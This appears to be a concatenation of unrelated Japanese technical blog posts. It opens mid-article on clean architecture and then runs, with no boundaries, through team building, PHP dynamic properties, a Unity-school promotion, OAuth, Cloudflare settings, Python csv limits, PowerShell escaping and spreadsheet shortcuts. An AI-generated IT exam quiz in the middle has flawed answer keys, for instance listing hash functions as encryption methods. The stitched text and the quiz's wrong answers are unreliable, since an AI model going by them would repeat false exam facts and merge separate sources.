ウェブアプリケーションでのデータが保存される箇所は概ね３つだと考えています。
- データベース
- セッションデータ (Cookie)
- 外部連携データ

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/17213/7c57fd10-9d00-c0eb-d48c-ed5d51552078.png)


これらの処理をなるべくロジックのコアに入らないように工夫することで、テストしやすく、見通しが良いコードになりやすくなると感じます。重要なロジックのみをテストしやすく、データの接続テストと分離することができます。

## 自然と実現されるクリーンアーキテクチャの依存階層

この構造を綺麗に実現しようとしたときに、自然とクリーンアーキテクチャのユースケースの形になります。
副作用のないロジックで閉じ込められるように実装すると、テストしやすい実装はユースケースに閉じ込められ、変更の影響が大きな処理は階層の外側に押し出す形をとります。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/17213/d53c8a0d-870a-a66f-e26b-5c37674100ae.png)


依存性の逆転が必要な箇所はDIを利用することで、コアなロジックをテストする時はDIを使ってモックを差し込みやすくなり、再現性の高いテストが高速で実行できるようにもなります。

自然な流れで実装すると自然と左の依存の流れになります。
副作用を抑えながら実装をすると、右のような依存になります。
UIは入力のリクエストデータに加え、セッションデータも含まれます。
インフラストラクチャーは主にデータベースになります。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/17213/ddc4221d-da50-b886-c613-0967338d2cd6.png)

すると自然とクリーンアーキテクチャの依存関係にたどり着きます。
この構造であれば、業務処理のテストは外部のリクエストの形式やDBの状態に依存することなくテストが可能になるため、堅牢で柔軟な内部構造を保ちやすくなります。



## まとめ
イミュータブルな実装をして副作用を減らせば、内部品質が飛躍的に高まる切っ掛けになったと感じていて、昔の自分が早くしれたら良かったなー！と思った次第です。

設計から入るのではなく、実装で表現したいことから理解することが自分の感覚には合っていました。
設計よりも実装が楽しいと思っていた時代で、実装のために設計が重要だと実感したタイミングでも合ったと思います。


もし良ければ、イミュータブルで副作用のない実装を意識してコードを書いてみてください。





## 一緒に働くエンジニアやエンジニアリングマネージャを探しております

今日のこの話をもっと話したい人、私の会社の仕事について話したい人はカジュアルに話しましょう！
Qiitaの記事を読んだと書いて登録をお願いします

https://herp.careers/v1/datachain/yobfg8YOkk4g



会社HP

https://www.datachain.jp/ja


今度、こちらのオンラインイベントに登壇します！
オンライなのでお気軽に登録してください。

https://datachain.connpass.com/event/337038/
タックマンモデルで読み解くチームビルディング：混乱期をどう乗り越えるか


この記事は [株式会社TRAILBLAZER Advent Calendar 2024](https://qiita.com/advent-calendar/2024/trail-blazer) の6日目の記事です。

---
### **はじめに**

はじめまして。8月にUXデザイナーとしてジョインした金です。現在は観光ナビ「tabiwa by WESTER」に関わり、チームでサービスの企画・改善を行い、より良い体験を生み出すための業務を行っています。

日々の業務では、多様な専門性を持つメンバーとプロジェクトを進める中で、チームビルディングの重要性を強く実感しています。この記事では、チーム形成の理論である**タックマンモデル**に基づき、特に「混乱期」に注目してその乗り越え方をお話しします。

---

### **目次**
- [タックマンモデルとは](#タックマンモデルとは)
- [混乱期の乗り越え方](#混乱期の乗り越え方)
- [現状のチームをタックマンモデルに当てはめる](#現状のチームをタックマンモデルに当てはめる)
- [まとめ](#まとめ)
---

### **タックマンモデルとは**

![スクリーンショット 2024-11-26 17.04.51.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3932355/34c2943c-9dde-ad5b-14af-14fa1f07330c.png)

タックマンモデルは、心理学者ブルース・タックマンが提唱した理論で、チームの成長を以下の5段階に分類しています：

1. **形成期（Forming）**：チームが結成され、メンバーが互いを知り、役割を模索する時期。ここでは、まだ衝突は表面化しませんが、不安や期待が交錯しています。
2. **混乱期（Storming）**：意見の衝突や役割の曖昧さが表面化し、チームが試される時期。多くのチームがここでつまずきますが、成長への大切なプロセスでもあります。
3. **統一期（Norming）**：対立が収まり、協力が進み、チーム文化が形成される時期。ここでは、共通の目標に向けた一体感が生まれます。
4. **遂行期（Performing）**：チームが自律的に高いパフォーマンスを発揮し、目標に集中できる状態。いわば「理想的なチーム」の姿がここにあります。
5. **解散期（Adjourning）**：プロジェクト終了やチーム解散の時期。この段階では、成果の振り返りや次のステップへの移行が重要になります。

特に「混乱期」は、チームが乗り越えるべき試練の山場。ここでの対応が、成功と停滞の分岐点になります。

---

### **混乱期の乗り越え方**

混乱期を乗り越えるには、ただ辛抱するのではなく、計画的な対策が必要です。以下の3つの方法が効果的です。

#### **1. 心理的安全性の確保：反対意見を歓迎する文化を作る**

心理的安全性が欠けると、衝突は避けられません。しかし、安心して意見を言える環境が整えば、衝突は建設的な議論へと変わります。

- **例**：リーダーが「異なる意見がチームを強くする」と伝え、反対意見を積極的に引き出す場を作る。
- **効果**：意見交換が活発化し、チームの潜在力が引き出される。

#### **2. チームの目的を再確認：共通のゴールを共有する**

混乱期の原因の一つに、メンバーが目標を見失うことがあります。ゴールを明確にし、全員が共有することで、一体感を取り戻せます。

- **例**：ミーティングの冒頭で「このプロジェクトで達成すべきこと」を全員で再確認。
- **効果**：チームが同じ方向を向き、衝突の原因が減少する。

#### **3. 役割と期待の明確化：あいまいさを排除する**

役割が曖昧だと、誰が何をするべきか不明確になり、衝突が生まれます。役割を明確にすることで、責任感が生まれ、問題解決が加速します。

- **例**：各メンバーの役割とタスクをリスト化し、全員で共有する。
- **効果**：責任の所在が明確になり、効率的にプロジェクトを進められる。

---

### **現状のチームをタックマンモデルに当てはめる**

私がジョインしているプロジェクトチームは現在、「形成期から混乱期への移行段階」にあると言えそうです。形成期では皆入社したばかりのメンバだったこともあり、お互いのことを理解しながらもまだ探り探りのコミュニケーションを行っていました。現在では1つのテーマについて皆でディスカッション・タスク実行する場面も増えてきており、以下の課題が顕在化しているように感じます。

- 前提としている考え方や仕事の進め方が異なり、途中で認識の違いが起きていることに気づく
- 十分な信頼関係が築かれていないため、互いの意図を深読みしたり、誤解が生じたりする
- コミュニケーションコストがかかるのでストレスがたまる

これらの課題に対処するために、個人としては心理的安全性確保にまずはトライしています。

- 対立を恐れずに発言・行動する
- 相手の発言・行動に違和感や不明点があればその意図や背景を諦めずに理解する
- 個人の得意・不得意を理解し、ゴールに早く到達するための役割を定義する

混乱期を抜けるにはまだまだ時間がかかると思いますが、トレブレは多様なバックグラウンドを持ったプロフェッショナルが所属しているので統一期に至った際には大きな成果が上げられると信じています！

---

### **まとめ**

タックマンモデルは、チームの成長を理解し、適切にサポートするための強力なフレームワークです。混乱期は確かに試練の時期ですが、それを「成長のステップ」として捉え、心理的安全性の確保、ゴールの共有、役割の明確化といった取り組みを行えば、次の段階へ進むことができます。

混乱期をただの「障害」として見るのではなく、「強いチームへのステップ」として前向きに捉えてみましょう！


https://hrmos.co/pages/trail-blazer
【動的プロパティ】【PHP】プロパティが無いのに何で使えている？

## はじめに
私のプロジェクトでは、Laravelを使用しております。
クラスAでクラスBのメソッドを使いたい時は、一般的な以下の流れでした。

1.クラスAでコンストラクタインジェクションをしてクラスBのインスタンスを取得
2.クラスAのコンストラクタ内で、プロパティXにクラスBのインスタンスを代入
3.オブジェクト演算子を使ってクラスBのメソッドを使用する```$this->propertyB->myMethod()```

しかし、気になる点が一点ありました。

```php

class myServiceA implements myServiceAInterface
{
    public function __construct(myRepositoryBInterface $myRepositoryB) {
        $this->myRepositoryB = $myRepositoryB;
    }

    public function sampleMethod(string $hoge): string
    {
        $this->myRepositoryB->myMethod();
    }
}

```

```$myRepositoryB```の代入先のmyRepositoryBプロパティ（上述のプロパティX）が存在しない・・・
これって何で使えているんだっけ？
ということで本記事の執筆にいたりました。

## 動的プロパティ
>オブジェクトに対して、存在しないプロパティを代入しようとした場合、 PHP は自動的に対応するプロパティを作成します。 こうして作成された動的なプロパティは、 そのインスタンスで のみ 使えます。


https://www.php.net/manual/ja/language.oop5.properties.php#:~:text=stdClass%3B%0A%3F%3E-,%E5%8B%95%E7%9A%84%E3%81%AA%E3%83%97%E3%83%AD%E3%83%91%E3%83%86%E3%82%A3%20%C2%B6,-%E3%82%AA%E3%83%96%E3%82%B8%E3%82%A7%E3%82%AF%E3%83%88%E3%81%AB%E5%AF%BE%E3%81%97%E3%81%A6%E3%80%81%E5%AD%98%E5%9C%A8

なるほど。存在しないプロパティに代入しようとすると、PHPがよしなにプロパティを作ってくれるそうです。
しかし、公式ドキュメントにはこうも記述されています。

> 警告
動的なプロパティは、PHP 8.2.0 以降は推奨されなくなりました。
代わりに、プロパティを宣言することを推奨します。

私のプロジェクトでは8.3系が使われていたので非推奨ということになります。
それではプロパティを追加しましょう。

```php

class myServiceA implements myServiceAInterface
{
    private $myRepositoryB; //追加

    public function __construct(myRepositoryBInterface $myRepositoryB) {
        $this->myRepositoryB = $myRepositoryB;
    }

    public function sampleMethod(string $hoge): string
    {
        $this->myRepositoryB->myMethod();
    }
}

```


※ちなみに、2024年11月21日、PHPの新バージョンPHP 8.4.1のリリースを発表しました。

https://fosstodon.org/@php/113520469977265697



## さいごに
今回のように、DI時にプロパティを定義していないとコード補完も効かず、コードジャンプも出来ないので特に支障を感じると思います。

しかし、今回の話はDIに限った話ではありません。
もし、ご自身のプロジェクトで未定義のプロパティを見つけたらしっかりと定義してあげましょう。

詳細な記事を書いていただいてる方を見つけたのでよろしければこちらもご覧ください。

https://qiita.com/rana_kualu/items/53012c8f84e0f92220c1
MEキャンパスの評判・口コミ　Unityは学べる？料金・特徴・他スクール比較

Unityでゲーム開発を学びたいと考えたとき、選択肢はたくさんあります。その中でも注目されるのが「MEキャンパス」。オンラインで学びながら、メタバース空間を活用した学びが提供されるユニークなスクールです。

この記事では、MEキャンパスの料金や評判、他のスクールとの比較を深掘りし、Unity学習を始めたい方に最適なリソースを提案します。初心者向けの無料リソース「Unity入門の森」についても触れますので、ぜひ最後まで読んでください！


## MEキャンパスとは？

MEキャンパスは、Unityを基礎から応用まで体系的に学べるオンライン教育プラットフォームです。特に「Unity総合学科」が注目されています。このコースでは、仮想空間を活用したリアルな学習環境を提供し、プロジェクト型学習を通じてスキルを習得します。

### MEキャンパスの主な特徴

1. **メタバース空間で学ぶ新しいスタイル**  
   仮想空間内のバーチャル教室で、受講生同士や講師とリアルタイムでやり取りが可能です。これにより、場所を選ばずに学習できる自由度の高い環境が提供されています。

2. **プロジェクト型学習で実践的スキルを習得**  
   学習内容を実際のプロジェクトに応用する形で進めるため、成果物としてゲームを制作できます。これにより、学びの成果をポートフォリオとして活用可能です。

3. **教育訓練給付制度対応**  
   一定の条件を満たすことで、受講費用の最大50%が給付されるため、高額に見える料金も実質的な負担が軽減されます。

4. **柔軟な学習ペース**  
   自分のペースで学習を進められるため、忙しい社会人や学生にも対応した仕組みです。



## MEキャンパスの料金

MEキャンパスの料金体系は以下の通りです。

| 費用項目            | 金額（税込）        |
|--------------------|-------------------|
| **入学金**         | 110,000円         |
| **学費（年間）**   | 660,000円         |
| **合計**           | 770,000円         |

### 教育訓練給付制度を利用する場合

教育訓練給付制度を活用することで、770,000円の半額である385,000円が支給され、実質的な負担額は385,000円となります。

この制度は特定の条件を満たす必要がありますが、長期的な投資としては非常にコストパフォーマンスが高いといえます。



## MEキャンパスの評判

### 良い評判

MEキャンパスの受講生からは、以下のようなポジティブな意見が寄せられています。

1. **「仮想空間で学ぶのが楽しい！」**  
   メタバース環境での学びが、没入感を高め、モチベーションの維持につながると好評です。

2. **「未経験からでもゲームを完成させられる」**  
   プロジェクト型学習で学びを実践に活かせるため、Unity未経験者でもゲーム開発の一通りを学べる点が評価されています。

3. **「就職活動に直結する学び」**  
   制作したゲームをポートフォリオとして活用できるため、ゲーム業界への就職や副業獲得の際に大いに役立ったという声があります。

### ネガティブな評判

一方で、「料金が高い」という意見も見られます。ただし、教育訓練給付制度を活用することで負担を軽減できることから、総じて納得感のある投資という評価が多いです。


## Unityを学べるスクール・リソース比較表

MEキャンパス以外にも、Unityを学べるリソースやスクールは数多くあります。それらを料金と特徴で比較してみましょう。

| スクール・リソース名     | 料金（税込）                         | 特徴                                                                                     |
|-------------------------|------------------------------------|------------------------------------------------------------------------------------------|
| **MEキャンパス**         | 入学金：110,000円<br>学費：660,000円<br>合計：770,000円<br>※給付金適用で最大50%給付 | メタバース空間でUnityの基礎から応用まで学べる。教育訓練給付制度対象講座。                     |
| **スタジオしまづ**       | 月額数千円                         | コミュニティ型の学習環境で、自由度の高い学習スタイルを提供。Udemy講座の無料クーポンあり。 |
| **GC'sブートキャンプ**   | 約20万〜30万円                     | 実践的なカリキュラムと個別指導サポートを提供。短期間でのスキル習得を目指す。             |
| **Unity入門の森**        | 無料～                             | 無料で利用可能な初心者向けチュートリアルサイト。基礎から応用まで幅広く学べる。             |
| **Udemy**               | コースごとに異なる（数千円〜）     | 多様なUnity関連コースがあり、セール時には低価格で学習可能。                               |

-
## Unity入門の森が初心者に最適な理由

Unityを初めて学ぶ方には、まず無料で利用できる「Unity入門の森」を試すことをおすすめします。

### Unity入門の森の特徴

1. **無料で学べる**  
   コストをかけずに学び始められるため、リスクゼロで挑戦可能です。

2. **多彩なチュートリアル**  
   2Dゲーム、3Dゲーム、C#プログラミングまで幅広いジャンルをカバー。

3. **初心者向けに特化した構成**  
   サンプルコードや図解を多用しており、初めての方でも理解しやすい構成になっています。

### 推奨の学習ステップ

1. Unity入門の森で基礎を学ぶ。  
2. MEキャンパスや他のリソースを利用して応用スキルを深める。  
3. ポートフォリオを作成して就職活動や副業に活用する。  



## まとめ

MEキャンパスは、メタバース空間を活用した独自の学習環境や、プロジェクト型学習による実践的なスキル習得が特徴です。教育訓練給付制度を活用すれば、費用負担を抑えながら本格的なUnity学習が可能です。

一方で、初心者にはまず「Unity入門の森」で基礎を固め、その後にMEキャンパスや他のスクールを利用するのがおすすめです。

→ [Unity入門の森](https://feynman.co.jp/unityforest/)
OAuthの基本的な概念

# OAuth 2.0 とはなにか

- ひとことでいうと、認可プロトコルで、本質は委譲
- OAuth は 認可 (authorization) 誰が誰に何の権限を与えるか　の仕様であり、認証 (authentication) 誰であるか　の仕様ではない
- なんの委譲かというとid/passの認証情報の委譲
- 委譲した証がトークン
- 例えていうと、Webにおけるバレットキー(Valet Key)
- バレットキーとは駐車係が車を預かるサービスで使われる制限をかけたキーのこと(トランクやグローブボックスを開けないなど）
- ポイントは、車の所有者が駐車係に実際の車の鍵ではなく、バレッドキーを渡すこと。駐車係は、バレットキーを使って、車を駐車する
- OAuthでいうと、所有者がクライアント(APIを利用するソフトウェア)にid/passの認証情報ではなく、トークンを渡す。クライアントは、アクセストークンを使ってAPIリソースにアクセスする。認証情報を使って、所有者のふりをするのではなく、

id/passの認証情報=車の実際の鍵
トークン=バレットキー
クライアント=駐車係
APIリソース=車

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/176198/46da3acc-56fa-e96b-73ae-66dbb6b7b8aa.png)


- OAuth2.0の仕様をみてみると、
https://openid-foundation-japan.github.io/rfc6749.ja.html
OAuthは, 認可レイヤーをもうけてクライアントとリソースオーナーの役割を分けることで, 従来の問題の解決に取り組む.    (従来の問題というのは、主に、第三者のアプリケーションのユーザーの id/passの認証情報を共有していたこと。保護されたリソースにアクセスする為にリソースオーナーのクレデンシャルを使う代わりに, クライアントはアクセストークンを取得する. アクセストークンとは, ある特定のスコープ, 期間およびその他のアクセス権に関する情報を示す文字列である. →誰が誰に何の権限を与えるかの認可 (authorization) の情報を持つ。
ここで、重要なのは「第三者のアプリケーションのユーザーに id/passの認証情報を共有しない」という点

# まとめ
- 改めて、OAuthとはなにかというと、トークンの発行と検証(署名と検証)に関すること
- クライアントからみると、トークンの取得と使用
- 基本的に、認証情報からトークンをつくること
- 駐車係が車を預かるサービスで使われるバレットキーに例えると、
- 所有者の車の鍵からバレットキーをつくること
- 駐車係からみると、バレットキーを受け取って、駐車

# Open ID Connectについて
- OAuthの認可を認証に拡張したのが、Open ID Connect
- 誰であるかという認証 (authentication) の情報を持つ
Cloudflareの無料枠でここまでできる！Webサービスのセキュリティ向上してみた件

 

みなさんこんにちは！
デジタル創作サークルUniProjectのあかつきゆいとです。

私のモットーとして、**如何に無料でやり切るか**というのがあるのですが、今回はCloudflareの無料枠をめいいっぱい使い切ってみました。
セキュリティの構築には十分かと思います。

## Cloudflareの無料枠とは[^1]

Cloudflareは無料枠でも結構できることがあります。

- DDoS対策
- SSL証明書
- CDN
- DNS
- etc...

と、結構あることがわかります。

[^1]:https://www.cloudflare.com/ja-jp/plans/free/

## まずはCloudflareにドメインを登録してみる

まずは登録するところから始めましょう。
アカウントは適当に作ってもらって、ドメイン登録から始めます。

ドメインの登録は、Webサイトのところからできます。
Add Domainを押して、ドメインを入力します。

![cf-website-view.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3342262/e6e603f2-aa99-c239-1854-842bedeb8a58.png)

Quick scan for DNS recordsで今設定されているDNSレコードをある程度自動で移行してくれます。

次にプランですが、Freeで十分かと思います。
趣味で使う分にはFreeでいいでしょう。

そうしたら、DNSサーバーをCloudflareのものに設定するよう指示があるので、設定します。

## DNSレコードのProxyをONにする

DNSレコードの編集画面に行きます。
そこで、ProxyをONにします。
これだけで**DDoSなどをある程度防いでくれます**。

これはなぜか？
それは、CloudflareのDNSで返されるA、AAAAレコードがCloudflareのリバースプロキシサーバーになり、Cloudflareのサーバーを介すようになるので、そこである程度攻撃は防いでくれるのです。

逆に、Cloudflareを通してはいけないサーバー(メールサーバーや80番、443番以外を使用するもの)はこの設定をONにしてはなりません。

## UnderAttack

これは何か。
CloudflareのProxyのセキュリティレベルです。

最高の設定ですが、何をしてくれるかというと、**全てのリクエストにCAPTCHA認証を設けます**。
何かのダッシュボードやすでに現在進行形でDDoSを受けている場合などに有効です。

![cf-quick-action.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3342262/aa10145a-ee99-021a-aa26-d7141be929ca.png)

### サイト全体に設定する

OverviewのQuickAcctionからサイト全体に設定できます。
また、これは**一時的に攻撃から守る際に便利**で、ずっと有効化するならば、Security→Settingsからセキュリティレベルで変更できます。

![cf-security-settings.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3342262/d5466823-4cd1-a849-c61d-fe76db0104e7.png)

## セキュリティタブ

先ほども紹介したUnderAttackモード以外に、Securityタブにはいろいろなものがあります。

### ブラウザ整合性チェック

これはBotなどのUserAgentを判別し、ブロックするものです。

### 安全でない JavaScript ライブラリを置き換える

これはサイトに使用されている脆弱性のあるJavaScriptを勝手に置き換えてくれます。
まぁ、なんとも、優秀ですね。
これが完璧というわけではないので、開発者側ももちろん気をつけましょう。

## 注意点

あとは、CloudflareのProxyが使えないケースをご紹介します。
これに当てはまる場合は、そのサブドメインはProxyを有効化しないほうがいいでしょう。

### HTTP/HTTPS以外を使用する、もしくは80/443以外を使用する場合

CloudflareはHTTPもしくはHTTPSで80か443ポートしか使えません。
なので、他のポートやプロトコルを使用する場合は使用できません。(有料プランなら可能です)

ただし、gRPCは使用可能です。
Networkタブから設定できます。

### 2階層以上のサブドメイン

CloudflareのプロキシのSSL証明書は無料プランでは1階層のサブドメインまでしか発行できません。
よって、Proxyは有効にするとSSL証明書エラーが発生します。

### アップロードが多いサイト

有料プランでアップグレードできますが、一回のアップロード容量の制限は100MBまでです。
ぼくはここでハマりました。
DockerのContainerRegistryなどでは普通に引っかかるので、無効化しましょう。

### オリジンサーバーでSSL必須にしない

SSLに無理やりリダイレクトしていると、Cloudflareが80番をプロキシするので、httpsにアクセスしてもhttpsにリダイレクトするループが発生します。
これも結構ハマりました()

SSLも使用可能にしておけば、後でCloudflareが自動判別してオリジンサーバーとCloudflareの間もSSLで暗号化してくれます。

## まとめ

状況によりけりですが、CloudflareはDDoSや各種攻撃からある程度守ってくれる優れものです。
無料プランでもこれだけのことができるのはかなり大きいと思います。
ぜひ皆さんも設定してみましょう！
Python _csv.Error: field larger than field limit (131072) エラーへの対応

## 目的および背景
行数の多いCSVファイルを書き出すプログラムコードを実行したところ、以下のエラーが発生したため対応しました。

```
_csv.Error: field larger than field limit (131072)
```
## 原因
大きいサイズのCSVファイルを処理しようとしたため発生しました。

## プログラムコード
field_size_limitの値を変更しました。
```python:_csv.Error: field larger than field limit (131072) エラー対策
maxInt = sys.maxsize
while True:
    try:
        csv.field_size_limit(maxInt)
        break
    except OverflowError:
        maxInt = int(maxInt/10)
```

https://docs.python.org/ja/3.13/library/csv.html#csv.field_size_limit

## 参照
以下のページを参考にさせていただきました。

https://stackoverflow.com/questions/15063936/csv-error-field-larger-than-field-limit-131072

https://zenn.dev/nosukey/articles/python_use_field_size_limit
NNC Desktopでのデータセットを行うための備忘録

# 初めに
Neural Network Console の Desktop版でのデータセットの取り込みで困った方への備忘録です。

# ブログ（元ネタ）
この記事は、以下のブログに過去に投稿したもののまとめです。

https://spresense.livedoor.blog/archives/37194250.html

# データセットの取り込み方法
Neural Network Console ですが、なんと、クラウド版が今年度で終了！とのことで、おお、やめてしまうのか？と心配したのですが、クラウド版をやめて、Desktop版としてマルチプラットフォームでオープンになったとのことで、実は、エッジAIなどの小規模AIの場合は、むしろ使いやすくなったかなと思い、一安心しました！

https://techhub.developer.sony.com/ja/neural-network-console?_fsi=C0R9Ua2B

で、さっそく、Windows版から移行しようと思って、やってみたんですが、
なんと、最初のデータセットの取り込みができない！！

Import Dataset をクリックすると

Please copy or move the dataset folder to C:\Users\******\nncd_bucket\datasets/, and then enter that folder name below.

とでるので、ここのディレクトリに、

train_data/

とディレクトリを作成し、その下に、Windows版の時に作った、

train.csv

と、

train_images/（以下画像データ）

を置いて、

folder name を train_data 

にして、start。


すると、こんなエラーが出てしまう。

Not find the index.csv file or data folder.

ということで、train.csv を index.csv に変更してみても、

Not find the index.csv file or data folder.

が出てしまう…。index.csv あるじゃん！と途方に暮れていたら、
うまくいった人から、画像データのフォルダも "data"という名前じゃないとだめみたい。

という情報をもらって、train_images/ を data/ に変更したところ、
取り込みに成功！！

過去のアプリを使っていると、余計にはまってしまうのかなと。
基本情報技術者試験向けかもしれない問題集

AIを使って問題を作成しています。


### Prompt:
`ITパスポートもしくは基本情報技術者試験に出てきそうな問題を作ってください。`

### 問題1 ([ストラテジ系])
問題: 企業が情報システムを導入する目的として、最もふさわしくないものはどれか。

a. 業務効率化
b. コスト削減
c. 情報の秘匿化
d. 意思決定の支援

<details>
<summary>解説</summary>

正解: c. 情報の秘匿化

解説: 情報システムは、業務効率化、コスト削減、意思決定の支援など、様々な目的で導入されます。しかし、情報の秘匿化は、情報システムの導入目的というよりは、情報システムを利用する上でのセキュリティ対策の一環として考えられます。

</details>

### 問題2 ([マネジメント系])
問題: システム開発のライフサイクルモデルのうち、各フェーズが明確に分離されており、前のフェーズが完全に終了してから次のフェーズに移行するモデルはどれか。

a. ウォーターフォールモデル
b. プロトタイピングモデル
c. スパイラルモデル
d. アジャイル開発

<details>
<summary>解説</summary>

正解: a. ウォーターフォールモデル

解説: ウォーターフォールモデルは、開発工程が滝のように上から下に流れるイメージで、各フェーズが順次進行するモデルです。一方、プロトタイピングモデルやスパイラルモデル、アジャイル開発は、ある程度並行して作業を進めたり、柔軟な開発に対応できる特徴があります。

</details>

### 問題3 ([テクノロジ系])
問題: IPアドレスのクラスA、B、Cの主な違いは何か。

a. ネットワーク規模
b. データ転送速度
c. 物理的な距離
d. ハードウェアの種類

<details>
<summary>解説</summary>

正解: a. ネットワーク規模

解説: IPアドレスのクラスは、ネットワーク規模によって分類されます。クラスAは非常に大規模なネットワーク、クラスCは小規模なネットワークに割り当てられます。

</details>

### 問題4 ([テクノロジ系])
問題: 次のうち、暗号化方式の種類として最もふさわしくないものはどれか。

a. 共通鍵暗号方式
b. 公開鍵暗号方式
c. ハッシュ関数
d. デジタル署名

<details>
<summary>解説</summary>

正解: d. デジタル署名

解説: デジタル署名は、データの改ざん検出や送信元の認証に用いられるもので、暗号化方式そのものではありません。共通鍵暗号方式、公開鍵暗号方式、ハッシュ関数は、データの暗号化に用いられる方式です。

</details>

### 問題5 ([ストラテジ系])
問題: 企業が情報システムを導入する際に、最も重視すべきことは何か。

a. 最新の技術を採用すること
b. コストを最小限に抑えること
c. 業務への適合性
d. ベンダーとの関係

<details>
<summary>解説</summary>

正解: c. 業務への適合性

解説: 情報システムは、あくまでも業務を支援するためのツールです。最新の技術や低コストであることは重要ですが、業務に適合していなければ、効果を発揮できません。

</details>

### 問題6 ([テクノロジ系])
問題: 次のネットワークのうち、最も広域なネットワークはどれか。

a. LAN (Local Area Network)
b. MAN (Metropolitan Area Network)
c. WAN (Wide Area Network)
d. PAN (Personal Area Network)

<details>
<summary>解説</summary>

正解: c. WAN (Wide Area Network)

解説:

LAN: オフィス内など、比較的小さな範囲をカバーするネットワーク。
MAN: 都市圏など、LANよりも広い範囲をカバーするネットワーク。
WAN: 国や大陸など、非常に広範囲な地域をカバーするネットワーク。インターネットが代表例。
PAN: 個人用の機器を接続する、非常に狭い範囲のネットワーク。Bluetoothなどが該当。
</details>

### 問題7 ([マネジメント系])
問題: システム開発において、要件定義の目的として最も適切なものはどれか。

a. システムの設計図を作成する
b. システムのプログラムを作成する
c. システムの利用者からの要望を明確にする
d. システムのテストを行う

<details>
<summary>解説</summary>

正解: c. システムの利用者からの要望を明確にする

解説: 要件定義は、システム開発の初期段階で、システムに求められる機能や性能、制約条件などを、利用者との間で明確にするプロセスです。

</details>

### 問題8 ([ストラテジ系])
問題: 次のうち、情報システムの導入によって企業にもたらされるメリットとして、最もふさわしくないものはどれか。

a. 業務効率化
b. 情報共有の促進
c. コスト削減
d. 情報漏洩のリスク増加

<details>
<summary>解説</summary>

正解: d. 情報漏洩のリスク増加

解説: 情報システムの導入は、一般的に業務効率化、情報共有の促進、コスト削減などのメリットをもたらしますが、一方で、情報漏洩のリスクも高まる可能性があります。

</details>

### 問題9 ([テクノロジ系])
問題: 次のデータベースのうち、データの重複を許容し、柔軟なデータ構造を持つものはどれか。

a. 関係データベース
b. オブジェクトデータベース
c. NoSQLデータベース
d. 階層データベース

<details>
<summary>解説</summary>

正解: c. NoSQLデータベース

解説:

関係データベース: データの重複を許容せず、厳密な構造を持つ。
オブジェクトデータベース: オブジェクト指向の概念を取り入れたデータベース。
NoSQLデータベース: 柔軟なデータ構造を持ち、大規模なデータの処理に適している。
階層データベース: 親子の関係でデータを管理する。
</details>

### 問題10 ([マネジメント系])
問題: システム開発において、プロジェクトの遅延が発生した場合、最も適切な対応はどれか。

a. 残りの作業を急いで行う
b. プロジェクトの範囲を縮小する
c. 追加の予算を要求する
d. プロジェクトを中止する

<details>
<summary>解説</summary>

正解: b. プロジェクトの範囲を縮小する

解説: プロジェクトの遅延が発生した場合、残りの作業を急いでも品質が低下する可能性があります。また、追加の予算が必ずしも認められるとは限りません。プロジェクトの範囲を縮小することで、納期に間に合わせる可能性があります。

</details>
PowerShellで`cmd`を使ったスペースを含むパスの正しいエスケープ方法

PowerShellで`cmd`を利用してスペースを含むパスを使用する際、適切にエスケープしないと以下のようなエラーが発生することがあります：

```plaintext
'C:\Program' is not recognized as an internal or external command,
operable program or batch file.
```

これは、パス中のスペースがある箇所が適切に処理されず、`cmd`がそれを1つの引数として認識できないために起こります。本記事では、この問題の解決方法を解説します。

---

## 例: PostgreSQL のサービスを起動する場合

### 問題のスクリプト例

以下は、問題のあるスクリプトの例です：

```powershell
cmd /c "C:\Program Files\PostgreSQL\16\bin\pg_ctl.exe" -D "C:\Program Files\PostgreSQL\16\data" start
```

このスクリプトでは、`C:\Program Files` のようなスペースを含むパスが適切にエスケープされていないため、エラーが発生します。

---

### 解決策

PowerShellでは、**バッククォート (`) を使ってダブルクォートをエスケープする** 必要があります。修正したスクリプトは以下のようになります：

```powershell
cmd /c "`"C:\Program Files\PostgreSQL\16\bin\pg_ctl.exe`" -D `"C:\Program Files\PostgreSQL\16\data`" start"
```

---

## 解説

### エスケープのルール
- **バッククォート (`)**:
  PowerShellでは、ダブルクォート (`"`) を文字列として扱う場合、バッククォートを使ってエスケープします。
  - 例: `"` → `` `" ``

- **cmd コマンド内のスペース**:
  `cmd` に渡すパスや引数にスペースが含まれる場合、全体をダブルクォート (`"`) で囲む必要があります。

### コマンド全体の構成
修正後のスクリプトを実行すると、以下のコマンドが `cmd` に正しく渡されます：

```cmd
"C:\Program Files\PostgreSQL\16\bin\pg_ctl.exe" -D "C:\Program Files\PostgreSQL\16\data" start
```

`cmd` はスペースを含むパスを1つの引数として正しく認識し、エラーが解消されます。

---

## 応用: 他のコマンドでも活用

この方法は、PostgreSQLに限らず、`cmd` を使用してスペースを含むパスを渡すすべてのシナリオで有効です。たとえば、以下のようなケースにも応用できます：

```powershell
cmd /c "`"C:\Program Files\SomeApp\app.exe`" /arg1 /arg2"
```

---

## まとめ

PowerShellで`cmd`を利用し、スペースを含むパスを扱う際は、以下のポイントを守るとエラーを防げます：

1. **バッククォート (`) を使用してダブルクォートをエスケープ**。
2. **スペースを含むパス全体をダブルクォートで囲む**。

これにより、コマンドが正しく解釈され、エラーなく実行されるようになります。
【Google スプレッドシート】痒いところに手が届くショートカットキーまとめ【一般的な操作編】

# はじめに
皆さん日々の業務お疲れ様です！
今回は、ぜひ覚えておきたい**Googleスプレッドシートのショートカットキー**をご紹介します。この記事は、基本的なコピー＆ペーストなどのショートカットキーは知っているけれど、その他の便利な機能を活用できていない人に向けた内容です。ぜひ最後まで読んで、効率アップに役立ててください！
※Mac版動作未確認

# 列選択・行選択
この列や行だけ〇〇したいって時に便利！

#### 列選択
| OS | ショートカットキー |
|:-:|:-:|
| Windows |Ctrl+Space |
| Mac |Ctrl+Space |


![Google スプレッドシート.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3148670/3663eea9-e335-9c64-6197-3068fae93014.png)

#### 行選択

| OS | ショートカットキー |
|:-:|:-:|
| Windows |Shift+Space |
| Mac |Shift+Space |

